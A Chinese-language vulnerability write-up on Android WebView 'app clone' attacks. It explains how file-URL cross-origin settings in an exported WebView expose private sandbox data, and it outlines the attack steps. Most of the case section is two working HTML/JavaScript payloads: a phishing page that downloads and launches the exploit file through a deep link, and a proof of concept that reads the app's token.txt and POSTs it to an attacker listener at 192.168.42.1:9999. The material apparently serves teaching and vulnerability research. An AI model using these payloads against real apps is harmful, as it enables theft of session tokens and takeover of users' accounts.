现在其他手机上重现应用的状态的问题应用克隆漏洞主要是指通过跨域读取应用的本地沙盒数据(/data/data/packagename下的文件),从而实现在其他手机上重现应用的状态的问题。
漏洞利用条件
- webview
- 开启的file域的跨域访问
1 2 3 4 5
| 即设置了以下属性 websettings.setAllowFileAccess(true); 以下两个设置了至少一个 websettings.setAllowFileAccessFromFileURLs(true); websettings.setAllowUniversalAccessFromFileURLs(true);
|
攻击者可以让应用加载指定的网页文件。
攻击流程:
1 2 3 4 5 6 7 8 9 10 11
| 1. 攻击者编写恶意代码 2. 将带有恶意代码的链接伪装各种形式发送给用户 3. 用户点击恶意链接 4. 链接地址自动下载攻击代码 5. 攻击代码获取目标APP本地所有数据 6. 攻击代码自动将数据上传至攻击者服务器 7. 攻击者将数据复制到手机目标APP中 8. 攻击者使用用户身份对APP进行操作 9. 攻击完成
整个攻击过程用户只需通过受该漏洞影响的应用有意或无意打开攻击链接,攻击即可自动完成。
|
该漏洞主要利用了Android系统WebView控件的同源策略漏洞来进行攻击,Android应用内部分可导出的Activity组件中,WebView允许通过file url对http域进行访问,并且并未对file域的路径进行严格校验所导致的。
该漏洞会打破Android应用的沙箱隔离机制,即A应用可以通过B应用导出的Activity让B应用加载一个恶意file协议的url,从而获取B应用的内部私有文件。
案例
- 创建钓鱼链接
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>clole</title> <script> window.onload = function (){ var downloadlink = document.createElement("a"); downloadlink.href = "http://192.168.42.1:8000/cloneapp.txt"; downloadlink.download = "cloneapp.html"<!-- 重命名为html文件 --> downloadlink.click(); } </script> </head> <body> <h1>clone!</h1> <p> <a href="ddns://android?url=file:///storage/emulated/0/Download/cloneapp.html">aaa</a> </p> </body> </html>
|
- 攻击poc:cloneapp.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <!doctype html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Document</title> <script type="text/javascript"> window.onload = function (){ var filexmlrequest = new XMLHttpRequest(); var filepath = "file:///data/data/ddns.android.vuls/files/token.txt"; filexmlrequest.onreadystatechange = function (){ if(filexmlrequest.readyState == 4){ var xmlhttprequest = new XMLHttpRequest(); xmlhttprequest.open("POST", "http://192.168.42.1:9999", true); xmlhttprequest.onreadystatechange = function (){ if(xmlhttprequest.readyState == 4){ alert("up account data success"); } }
var content = filexmlrequest.responseText; alert(content); var formdata = new FormData(); var blob = new Blob([content], {type:"text/xml"}); formdata.append("file", blob); xmlhttprequest.send(formdata); } } filexmlrequest.open("GET", filepath); filexmlrequest.send(null); } </script> </head> <body>
</body> </html>
|
- 打开带有漏洞的应用,并点击该链接。
- 可以在监听的http://192.168.42.1:9999收到转发过来的file:///data/data/ddns.android.vuls/files/token.txt内容。